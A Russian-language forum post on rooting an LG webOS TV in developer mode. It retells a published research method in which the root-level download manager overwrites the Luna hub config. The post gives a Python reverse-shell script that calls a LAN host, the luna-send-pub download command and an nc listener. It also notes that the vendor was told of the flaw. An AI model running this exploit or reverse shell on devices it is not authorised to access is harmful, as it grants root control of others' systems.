Barok писал(а):А не могли бы дать ссылочку в ЛС на новый метод?
Посмотрите
https://4pda.ru/forum/index.php?s=&show ... =104754529сразу правка, у меня вот такая строка для подключения по ssh из windows10
- Код: Выделить всё
ssh -i "C:\Users\User\.ssh\webOS_TV_webos" prisoner@192.168.1.114 -p 9922 "/bin/bash -i"
В статье похоже неточности есть.IP адрес ТВ у вас будет другой, у меня 192.168.1.114. Перед тем как ssh запускать надо установить на ТВ devmode и установить и подключить на компе webOS TV IDE, подробнее в инструкции по установке ipk можно посмотреть (отдает автоответчик по почте
smsbox3@bk.ru) Кратко чтобы получить ключи на ТВ в devmode включить KeyServer, а на компьютере в программе IDE ввести код, что на ТВ в девмоде под строкой Passphrase, это нужно, чтобы ключи ssh с телевизора оказались у вас в папке Users\User, откуда будем их брать при запуске ssh
После запуска
- Код: Выделить всё
ssh -i "C:\Users\User\.ssh\webOS_TV_webos" prisoner@192.168.1.114 -p 9922 "/bin/bash -i"
Должно спросить

1.png (4.32 КБ) Просмотров: 2747
- запрос passphrase
Вводим Passphrase с экрана ТВ из devmode, при вводе эха нет!
Там пояснение как работает этот метод "Один из API-интерфейсов, предоставляемых Luna Service, - это Downloadmanager. Как и все внутренние API, файл Downloadmanagerработает как root. Просто вызывается download и позволяет приложению или службе загружать файл по сети. Этот метод вызывается любым приложением. "
Если увижу еще какие неточности допишу позже. Пока на самом начале инструкции копаюсь.
p.s. наткнулся на такое сообщение, дальше пока идти не куда

3.png (11.64 КБ) Просмотров: 2745
Вот тут оригинал этого метода на английском языке
https://blog.recurity-labs.com/2021-02- ... S_Pt1.htmlТам пояснено, что используется один из API-интерфейсов, предоставляемых
Luna Service, - это Downloadmanager, который работает с правами root. Позволяет приложению или службе загружать файл по сети. Для проверки используют префиксы com.palm., com.webos. или com.palm., если эта проверка не удалась, служба проигнорирует любой параметр, кроме параметра target, который указывает файл для загрузки, и вместо этого загрузит файл в расположение /media/internal/downloads.
Однако привилегированные приложения (префиксы com.palm., com.webos. или com.palm.), могут устанавливать дополнительные параметры, такие как targetDirи targetFilename (что приводит к перезаписи существующих файлов с тем же именем). Эти параметры используются, например, когда система устанавливает приложения через Интернет, например, из App Store.
WebOS реализует пару инструментов командной строки, расположенных в
/usr/bin вызываемых
luna-send и
luna-send-pub, которые можно использовать для локального вызова API-интерфейсов Luna Service из командной строки.luna-send доступен только root, а вот
luna-send-pub используется для вызова общедоступных методов и, следовательно, может быть вызван любым пользователем.
luna-send-pub используемое при взаимодействии с Luna Service API, - com.webos.lunasendpub, он пройдет проверку, реализованную с помощью Downloadmanager, это позволяет нам загружать произвольные файлы в любую доступную для записи часть файловой системы в качестве root пользователя. Теперь надо загруженный файл сделать исполняемым.
/etc/luna-service2/ls-hubd.conf это файл конфигурации для демона концентратора Luna содержит следующий фрагмент:
- Код: Выделить всё
[Dynamic Services]
ExecPrefix=/usr/sbin/setcpushares-ls2
LaunchTimeout=300000
Файл /usr/sbin/setcpushares-ls2 сценарий оболочки, используемый для запуска динамических служб. Поскольку демон Luna Service Hub запускается от имени root, это означает, что, если мы можем перезаписать файл конфигурации и указать на ExecPrefixнаш собственный файл сценария, можно будет запускать произвольные команды внутри сценария от имени root пользователя. Для этого 1) На локальном компьютере создайте файл ls-hubd.confсо следующим содержимым:
- Код: Выделить всё
[General]
PidDirectory=/var/run/ls2
LogServiceStatus=false
ConnectTimeout=20000
[Watchdog]
Timeout=60
FailureMode=noop
[Dynamic Services]
ExecPrefix=/home/developer/setcpushares-ls
LaunchTimeout=300000
[Security]
Enabled=true
MonitorExePath=/usr/sbin/ls-monitor
JsServiceExePath=js
AllowNullOutboundByDefault=true
ContainersDirectories=/usr/share/luna-service2/containers.d
ManifestsDirectories=/usr/share/luna-service2/manifests.d;/mnt/otycabi/usr/share/luna-service2/manifests.d;/mnt/otncabi/usr/share/luna-service2/manifests.d
ManifestsVolatileDirectories=/var/luna-service2/manifests.d;/var/luna-service2-dev/manifests.d
DevmodeCertificate=/var/luna-service2-dev/devmode_certificate.json
DefaultDevmodeCertificate=/usr/share/luna-service2/devmode_certificate.json
ExecPrefixзначение было изменено, чтобы указывать на home/developer/setcpushares-ls. Причина, по которой не следует просто перезаписывать файл сценария, заключается в том, что на большинстве встроенных устройств /usr/sbinкаталог, вероятно, будет монтироваться как доступный только для чтения, тогда как /etc/ (расположение файла конфигурации) может не быть.
2) Затем создайте файл home/developer/setcpushares-lsсо следующим содержимым на устройстве webOS:
- Код: Выделить всё
#! /bin/sh
# usage: $0 cmd args...
# Used by LS2 as a wrapper for invoking dynamic services that ensures they are in the correct groups
python -c 'import socket, subprocess, os;s=socket.socket (socket.AF_INET, socket.SOCK_STREAM) ;s.connect (("192.168.1.107",1234)) ;os.dup2 (s.fileno (),0) ; os.dup2 (s.fileno (),1) ; os.dup2 (s.fileno (),2) ;p=subprocess.call (["/bin/sh", "-i"]) '
exec "$@"
3) Сделайте этот файл исполняемым с помощью команды chmod +x setcpushares-ls.
4) Загрузите измененный ls-hubd.confфайл на устройство webOS, используя следующую команду:
- Код: Выделить всё
luna-send-pub -n 1 -f luna://com.webos.service.downloadmanager/download '{"target":"http://192.168.1.107:8000/ls-hubd.conf","targetDir":"/etc/luna-service2","targetFilename":"ls-hubd.conf"}'
5) После этого откройте netcatпрослушиватель на порту 1234 на IP-адресе, указанном в обратной оболочке Python на шаге 2.
- Код: Выделить всё
nc -l 1234
6) Перезагрузите устройство webOS. Как только система будет полностью запущена, netcatпрослушиватель, настроенный на шаге 5, должен получить соединение, предоставляющее rootдоступ к системе.
Здесь просто изменим пароль root и заменим оболочку Python в /home/developer/setcpushares-ls файле на команду для открытия дополнительного SSH с root правами входа в систему с паролем.
Автор пишет, что сообщил LG о проблеме и LG заявила, что проблема будет устранена «в течение недели» 26 января 2021 года